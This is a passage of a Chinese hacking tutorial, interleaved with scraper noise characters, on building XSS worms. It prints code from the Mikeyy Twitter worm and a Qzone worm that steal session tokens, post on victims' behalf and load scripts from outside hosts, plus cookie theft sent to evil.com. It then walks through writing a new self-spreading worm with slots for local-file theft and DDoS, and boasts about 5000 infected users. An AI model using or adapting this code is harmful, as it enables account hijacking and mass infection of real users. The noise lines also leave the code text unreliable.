4 V' J9 R4 y9 z/ a
4 M! a3 W$ ]3 [1 s' ^# wXmlHttp.send(null);

5 X2 {- K! i4 U# H/ z# ^</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
( Z; f1 P- u1 K0 x, ?; N& ~


: e( e) i2 k; R' p$ f9 q2 tXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

6 ^8 c6 R1 R. T" E; {8 S<script>
- I; I  Q. A& \复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% u+ a% J: l* p! a1 z( J复制代码案例:Twitter 蠕蟲五度發威
- I! {3 c* B6 W5 y第一版:
3 @/ V$ e5 \/ M5 o, ], W, C  下载 (5.1 KB)

6 天前 08:27

# O3 j, q$ k: q7 o  i第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
1 {3 u8 |5 M4 }; N7 h% A- S
   2.   

2 Y% b* I; W5 j7 m: J   3. function XHConn(){  

2 S1 g* ^+ p. {( G- X) [+ ~* a- g+ g   4.   var _0x6687x2,_0x6687x3=false;  
' O, [8 h- P, O: ?$ i  T" H
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
3 h6 f9 O9 j) T3 C1 w2 A
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
( x* i; c1 N( W, K0 [
" _0 e" [# f7 H& T( W4 @; u2 V, T   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

) e0 x) }; Y) T  z3 {* {   8.   catch(e) { _0x6687x2=false; }; }; };  
/ b( b  L! ]" O复制代码第六版:   1. function wait() {  

0 X$ R, b1 p; J/ F2 n   2.   var content = document.documentElement.innerHTML;  
0 F, P- o: Y4 ?% g
+ r1 r" V" j+ v   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

3 |  J* x% D9 ^9 ^- z, `$ c7 n   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
: X$ o1 g/ n7 @  ]
3 `9 D: }& m) ?4 u4 w  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

: h0 c( o3 M, [  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
& L2 z& }" b1 L4 t4 ^- `+ F
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
, L( A5 l3 C2 G1 n
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
, J# h$ c: n$ [% r% K# |
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

6 o- [8 c- Q; R; O  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
0 ?: z5 L" G, `. W: W2 y1 Z8 _
; _( [0 X! y( W8 v8 F7 Q/ G  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

1 ]1 W6 V3 Q. a! U$ q+ ~3 U1 _  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
) M4 a- v) L% @6 i
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
, s% E3 s1 t1 V; y8 X( m2 o' S+ }
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

' v% b8 k4 e8 C+ z0 g0 o  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
, o1 r  E3 J" E$ ]1 h1 R- |: X! X; T. I
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  [; W6 d5 z! v! N( S  24.     
9 y7 B! Q0 k* N4 z+ H' k! A1 v
0 k' T' \& ]0 p( a) o0 p  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
" l) b+ f: G; v1 q
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
, `! w8 m7 G; k/ _
3 n  y" y% b3 A  28.   var ajaxConn= new XHConn();  
* O5 W$ G/ f. k4 X% I
+ O% u' o' F6 U7 s) E  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  
/ |5 Q0 Y0 H0 A; E: h5 S
4 O( k) B6 X: E$ I$ O  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
- a0 Y3 S' [& ~: I
5 ~0 F6 H& V/ `' I$ r  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

# v3 z: ~( D5 }, E  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
  z- v4 p5 c; K7 v7 }
  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
7 }* y- o  F( F: [/ d
1 }- I$ M( ~; ~  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
9 a4 d" ^  B9 V6 E% ~: n3 L
. Y* [& U1 O5 S& ywindow.onerror=killErrors;
- q4 S' T, Q: A+ b' i
: D! h( h0 z' K: ^
3 m7 a/ D9 l/ m, e& \
* J+ \0 D$ u0 \+ ^1 K  Bvar shendu;shendu=4;
+ E* n* u- t% ~8 M
+ G1 y7 X  w! P//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
4 B+ x$ c( a, b
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
- k2 y2 `7 T' U$ Q
var myblogurl=new Array();var myblogid=new Array();
' D$ o: y. }8 ?: @0 m, e7 }
) u5 |4 ^  w0 O4 F3 d; ~5 |5 Q        var gurl=document.location.href;
8 K; N7 X8 P! M0 c& {
# X9 W1 s5 q; l3 L. [( A  G- H6 h        var gurle=gurl.indexOf("com/");
) Z! t/ v7 B5 o$ J$ y) ~
5 C2 R4 s) V; @4 L) ]: q- ^        gurl=gurl.substring(0,gurle+3);        
: R; A  F' ?; j# U; e
        var visitorID=top.document.documentElement.outerHTML;
2 p, o9 i" _, r- y" M! C  d( D2 u0 h
+ ~+ r3 M2 p0 ?/ k           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

' U# y) w6 c3 \        visitorID=visitorID.substring(0,cookieS);

( V% C; N: R. I; w' \        get_my_blog(visitorID);

        DOshuamy();

6 t# w& f0 {& u) q* ]+ h) p9 x
( ?0 R0 S5 C" w3 S2 n
1 D4 O, G/ p/ V' K( M//挂马

: P! H! B' }* C! r/ F: Ifunction DOshuamy(){
( y+ A4 n& D, N* M) F9 v
var ssr=document.getElementById("veryTitle");
! n. U' p. X/ j2 h! q2 y$ |
" M- [* K3 M# \8 X3 p: hssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
! s7 K) f1 Y& K& j: [' U$ H$ T
}
) @. F6 q- G! z5 W; `! y4 p
2 s2 B. c! [, X! `* Z
5 {2 v6 r2 S1 \5 E
: {$ ?2 v8 C# @3 q6 r, T//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
# k$ Z* t; M1 ~; s" q7 d
function get_my_blog(visitorID){
" k  z* F5 x7 L
$ u% R  A2 Q; ^  B8 r' h" E   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
7 Y* \- ~" j" e* W+ N: L
. s- b0 E, m. e3 {: h   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

2 I# N( B3 m6 q' ^3 F) [; P   if(xhr){    //成功就执行下面的
/ K5 a- Y; L3 o2 o+ H: D
& A5 T. [" C; }9 Z8 b( V' W- C     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
7 D, a$ H- ]% ?1 `+ @
     get_my_blogurl(guest);    //执行这个函数

    }
) d$ h4 t6 l8 u  o8 e4 x" G
/ a5 _2 G! p& j% P7 B0 n/ ~}

7 f1 r! a1 M% ?. o1 r% {  R
$ S5 R7 s6 Y( D. l8 I/ H( m
" N* Q* D- `1 {2 x, I, d# {//这里似乎是判断没有登录的
2 {3 K8 G4 G4 W6 o
$ t$ Q( H2 n0 K( q4 @function get_my_blogurl(guest){
! A0 @8 P6 G- {' S9 M% ?- J
  var mybloglist=guest;
! C& r3 m# c% Y& [
  var myurls;var blogids;var blogide;
- }- Q/ V$ R3 h! j9 T" F1 F1 w
! M8 A- P& Y) x  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

# N* @2 A+ S  N5 U     if(myurls!=-1){    //找到了就执行下面的

* D' w2 t' ^2 ~; Q. ^         mybloglist=mybloglist.substring(myurls+11);
" k7 P: k/ |4 s2 K6 x! z. B
         myurls=mybloglist.indexOf(')');
' V: q! J8 A5 e9 G) L# T( l
         myblogid=mybloglist.substring(0,myurls);

        }else{break;}

: c3 I; [$ ?/ l4 h* b3 D}
( |, p* ^) V1 ?4 @; q5 L
get_my_testself();    //执行这个函数
& u/ r$ z, o( s& M
}

/ I- q# j) ~- x+ H- G, N2 P: ?& ^

, Y; t' y; @- F//这里往哪跳就不知道了
1 D. \0 g8 G7 z4 }6 j4 f
function get_my_testself(){
- q! V. Y6 c% a) z, P
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
( E+ B, V/ n8 i! N
1 C8 V7 A  q: Z* F4 z      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

* v! s( A* x2 R  f7 c3 F5 p      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

2 u4 q, R) X3 H# Z0 `' |      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

9 k; I' o! ^8 U+ }$ j! L8 d5 w) m8 r0 T              xhr2.send();

# E$ V) R6 U: m: [              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

5 k0 K, K% J  @! w              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

  {  a+ ~, o3 S9 |              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
! ~7 C8 W+ G2 N9 e7 u5 B/ J1 Y7 A6 K/ X
6 l1 V: r) ~; o" A: g& `3 R  h& m                targetblogurlid=myblogid;   
+ `% B/ J" [! C
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

: u; F  e- D8 V2 p) m, }) }  b                break;
- q. X9 U) u; U+ O1 y
" ~7 z0 \9 B, a7 M- K" a               }
, i7 T- X( c* R3 |+ E$ N* r7 U
              if(mycheckit=="-1"){
7 k7 s% y, a; |7 |
" D2 ]1 S# d* ^1 E& ?! R                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它

2 e) L9 E7 b8 |# [5 _  B                break;

               }

        }      
1 S4 `4 f% L4 o2 A
+ I% t* W$ K2 g/ H# E/ u}

( e, [" i1 Q$ |}
9 X. w, G# f9 [! m' z; T
1 k1 E# T& A, w; _; N( a

//--------------------------------------  

6 \2 j* O. M2 d+ s//根据浏览器创建一个XMLHttpRequest对象
7 d8 o! l- j- p5 k9 t
function createXMLHttpRequest(){

    var XMLhttpObject=null;  

! P) x8 V1 D5 L0 Z    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

% ?* N7 E3 R  V+ u5 @% `    else  

' x. L- M6 r/ l, i- P  `      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
5 k. N+ l+ G+ [; O1 O+ E
        for(var i=0;i<MSXML.length;i++)  
% x; z+ Q2 I8 D# I
        {  
6 Z2 s$ f9 [% K2 V$ d1 z- \0 N
            try  
" ~- ?. @3 }% H/ S2 U4 s! T' c5 x
( }0 e$ G; C( G# ^- ~. G4 F# n            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
* C! C" m$ n/ v/ G6 m1 w# O
! m' {3 x+ E1 \, L                break;  

# `3 }7 b( g1 h5 {+ ~* p. v5 L            }  
9 }' J4 E, A3 D' ^( z1 L2 [  `
$ T* U- X. q% o9 W4 d            catch (ex) {  
, u4 L/ _! J2 o) S# V7 g6 v4 B+ h
            }  

* X+ _9 Q" F" R         }  

      }

return XMLhttpObject;
5 p' N) S6 J( J  ~. r: V# _
4 \# S9 U. b& s! b! b5 b5 R}  
" M8 F  ^8 g0 `
. L/ J5 |3 `) i8 b1 ?6 k% P3 l
0 N- u" y/ h* ^7 j; {% h
! l- b: c$ t# R//这里就是感染部分了
2 w& U5 K, f! c+ Z
* `  o% I$ C0 Q/ o0 ^function add_js(visitorID,targetblogurlid,gurl){
8 N4 Q; c# c. `
var s2=document.createElement('script');

4 @4 s9 V' _0 j& js2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
. i  y# t& M3 f
# W% R! D* R. S6 t; G  c) g0 Fs2.type='text/javascript';
6 O7 y& l" _8 E" A" v! m3 s7 P, q9 R
document.getElementsByTagName('head').item(0).appendChild(s2);
  ~) N" D; X5 S  Z" v( R& R1 n
}


+ e1 j3 J7 Q$ n1 f
function add_jsdel(visitorID,targetblogurlid,gurl){
; [8 q% m0 i" x  g
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
0 X9 a! u9 G, a- z* I+ J1 F6 D
) K% t9 W6 w* \4 i% Sdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
! Q7 `% w1 }6 j7 ?
* N' V; Z* U' q2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
7 r+ p1 u. q$ Q# k
9 O3 c# W* @7 ~+ u) y* R. D% z综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

# l' c( `* P# z" f, b% |
' A" ?1 y; F3 D6 o# b下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
1 v$ _& t; n% \' y; I* ^6 H7 M: q' g
5 m& v: K. Q- b) U  J: E- p首先,自然是判断不同浏览器,创建不同的对象var request = false;
) R0 _& M" a& c: i
. h8 ?  s* S! }* j5 g  g# @if(window.XMLHttpRequest) {
" N; X2 C9 r( l) [
request = new XMLHttpRequest();
  r% I$ b' o2 ~4 C( ], S! v
if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

7 n; h" R# }7 F9 _8 `: l}

6 L, C7 D4 ]! [* K. l3 i} else if(window.ActiveXObject) {
0 `% m- a; [5 Y7 O3 p7 m- {
- b+ B. i& ^. r+ U8 d$ N! mvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {
) G- h" c0 u8 J2 p
request = new ActiveXObject(versions);

} catch(e) {}

: t0 ]  F; b# p4 E) H}

}
4 b  P+ I1 H: e" t
1 Y4 _' r$ F, x/ r: HxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
& N) D% b. s5 [; s" l
        var Browser_Name=navigator.appName;
) f* W7 H8 l& c  ^
% `( A6 i6 E6 V5 e: {) @" i. ~        var Browser_Version=parseFloat(navigator.appVersion);
/ ]6 e3 M9 U  P) P
/ B. G7 m$ L' v        var Browser_Agent=navigator.userAgent;

        

  c/ X. J5 `6 h# K5 m# m1 W$ _        var Actual_Version,Actual_Name;

        

* S- Z  C0 Z, B1 B- }+ v        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
' q" P. W& S1 P( R5 }
& x/ |9 M& I* Y1 |3 O  x9 ^        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

) I1 J# n6 V9 s7 {9 k3 X7 Q' R4 X        

        if(is_NN){

            if(Browser_Version>=5.0){

  ]  I- \  n; X                var Split_Sign=Browser_Agent.lastIndexOf("/");
2 w; o4 G/ L! J$ d5 E
8 d: r. p  t& \* D                var Version=Browser_Agent.indexOf(" ",Split_Sign);

9 e8 [9 r- Q8 n4 k6 [4 Q/ b8 z! g/ b# K                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
9 Z' \) K- I3 s2 N2 }% F' `
: w; \6 R" p1 B$ c

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
, x! L  v9 @; c* f' f" M* _
& v8 E5 {  y7 f                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

. q9 N) |2 ]1 W            }
2 |, K  V2 U. Z9 n* e) i' k, A& D$ e
$ e+ F6 k7 }4 a5 z% X            else{

% f( _) K$ q5 ~  _3 `7 u2 j                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

            }
' G3 T4 m2 i% n" \# n4 g5 `
& e3 R2 Q3 c+ s( O5 z* \        }

        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
7 f7 }  a) e0 @+ T2 [) S7 R! Q
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

/ I# m5 u5 C% U6 m( l8 U' ?6 V            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
$ K! j+ Z4 G+ @  s& e% C, I
2 _3 L- \- k8 j" p- I            Actual_Name=Browser_Name;
: {5 Y" u7 _9 ^( y, l. N: m
1 v4 m# v: k) ^/ ?8 \            

- q0 W* |1 @4 _: L            if(Browser_Agent.indexOf("Maxthon")!=-1){
0 ^/ N" T  m7 B% F$ q
3 z7 J! s# A2 I# ?! T3 R" p                Actual_Name+="(Maxthon)";

2 R+ n( _/ ^( t: ^' G& t% w1 @9 {            }
7 [3 ~5 W" J$ A( X
            else if(Browser_Agent.indexOf("Opera")!=-1){
7 j" U4 z% t4 @3 K% Q
  a! d# x% |+ v% e3 i; z: u+ x, ~                Actual_Name="Opera";
# B# w" b9 R7 A2 {
3 y( H4 ~  X: b, Q& z                var tempstart=Browser_Agent.indexOf("Opera");
" e4 E/ R/ J5 S' |" {( q
                var tempend=Browser_Agent.length;

1 j6 u$ [. Q2 G$ |" d/ r7 o                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

2 E6 Y. l6 k4 b# |" }        }

% |. _  f. Q) N% R0 ^        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
4 J; P2 n: f+ Y/ F! ~
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

4 Q: L9 ^( }  O! ?            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
$ R' D- M8 n4 W- H; }
            
$ r3 y8 S/ b4 E- H! \8 U; k. j$ j; x
            if(Browser_Agent.indexOf("Maxthon")!=-1){
0 d4 m: J( A8 w) n0 a
3 B5 _. l% X. I) f# ^1 Y) c                Actual_Name+="(Maxthon)";
& }$ j) w# G) i9 c# {  [. Z
5 x/ |* F  f$ Z4 K9 s1 G            }
7 c: @  L) z# V7 v4 U, X
- [! o2 ?7 t: S3 V3 X            else if(Browser_Agent.indexOf("Opera")!=-1){
0 k. ~1 l! J  X: E  w4 M  Z9 v9 }
$ }4 r$ W# o0 e, {                Actual_Name="Opera";
, z- `: z  ]5 y  m8 g
                var tempstart=Browser_Agent.indexOf("Opera");
  B8 i8 D1 q0 _/ a
4 {" H/ @2 E: e4 J  \                var tempend=Browser_Agent.length;
+ @+ y' x) t3 Q# {( ~" j
) h3 h. P, _# ?                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
4 l/ p+ O/ v  v5 k
. {! n2 ^2 p* X! `( i1 t        }
4 G* M) r- F( p1 S
        else{
! i* \" h8 \5 F) {
. U8 T4 v- f: T  ?  p0 S: G            Actual_Name="Unknown Navigator"
9 ~/ c' o4 D3 S& `3 T5 @2 k
: O9 r' c7 j7 g7 a4 T. b            Actual_Version="Unknown Version"
0 ]6 k1 \+ G. o% v# @
2 |4 k8 i) b# }9 A5 f  h& [  H        }
: b) K# t) J0 n5 E
. k5 g/ [- i) g# U0 ^9 F
  Y: U0 S- y7 W, H, ~  T( m
        navigator.Actual_Name=Actual_Name;

; I( P, U; w# Q  n* _) `; o        navigator.Actual_Version=Actual_Version;
+ _, X7 e7 S- ~6 `! M2 G
        

0 C8 Q' U9 O0 N: e        this.Name=Actual_Name;
! x* m8 N& I' E* b7 A# ^/ z% \
        this.Version=Actual_Version;
/ t' f- Q( q' T- e$ W
9 x$ x1 y) ]' s    }

    browserinfo();

. }% ^5 e" `9 f8 a+ F* _+ Y! U$ ?( Y# |: n    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
+ B' B6 F) R" j; {6 x
. i: X6 r- g$ Q    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

  |" V1 |0 E2 n3 L3 f/ X    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
# |2 x+ C1 g  ~2 H
# {& G3 L' y" w& e+ C. P    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
/ e$ V% o* X4 X! S( v复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
3 j. S% T* C, m复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
; b7 N1 p  a9 ]/ Y8 ]. ]
3 N  `3 E9 l) ?8 Uvar resource = xmlHttpReq.responseText;
! e" k7 }' K( |% l6 C2 h" M* C) i
/ v. {/ v( _! U+ Y3 A0 uvar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
* ]: S" }( U" U" a$ X' e
  d$ A- W  f8 b( S+ u7 z. Cwhile ((result = patt.exec(resource)) != null)  {

id++;

}
9 D& q" J6 {% a- J' B复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
" [0 A  L2 f- R, r  N: X0 ~$ N
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
9 N. p: [  M4 D  h6 V
6 ^0 I1 X; \. Y1 x( s* Tvar post="wd="+wd;
0 \. [! s. I! `
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

. b# C) ]8 |) Y  u! LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
; S$ Q( y, N" U% P- e! s
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
! |" ~: L3 P* `; ?
xmlHttpReq.send(post);

, s% M0 W: l/ Q6 l9 o* i- e9 F* L}
( o8 D- _# t1 N3 M% `+ t) K+ r复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
+ O# P9 y1 N: y3 H
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

* V& a/ e" X: {" O1 K' t1 C+ bvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
; H% g* O9 W- M$ H/ H
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

* y, `9 Y4 m+ ]/ Cvar post="wd="+wd;
4 N- L, q& @4 I5 [6 c" W
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
' I  i' R8 |( I$ M' ^" [4 i$ H+ S7 n
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
; o8 \& s: S  v+ n0 f  v
}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

$ i" {6 F9 k" h$ b& A
4 c/ l- H8 L6 E; F
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
& l  L2 Y! j- X7 Q
1 V# T. {- |% m" o; X7 y% N





' q8 u4 |, ~$ y8 k
9 Z$ X/ A6 [% N/ q: j本文引用文档资料:
( t, s; N% M1 }+ c
) G$ s3 M; L. O7 C$ `& [) I- [% t"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
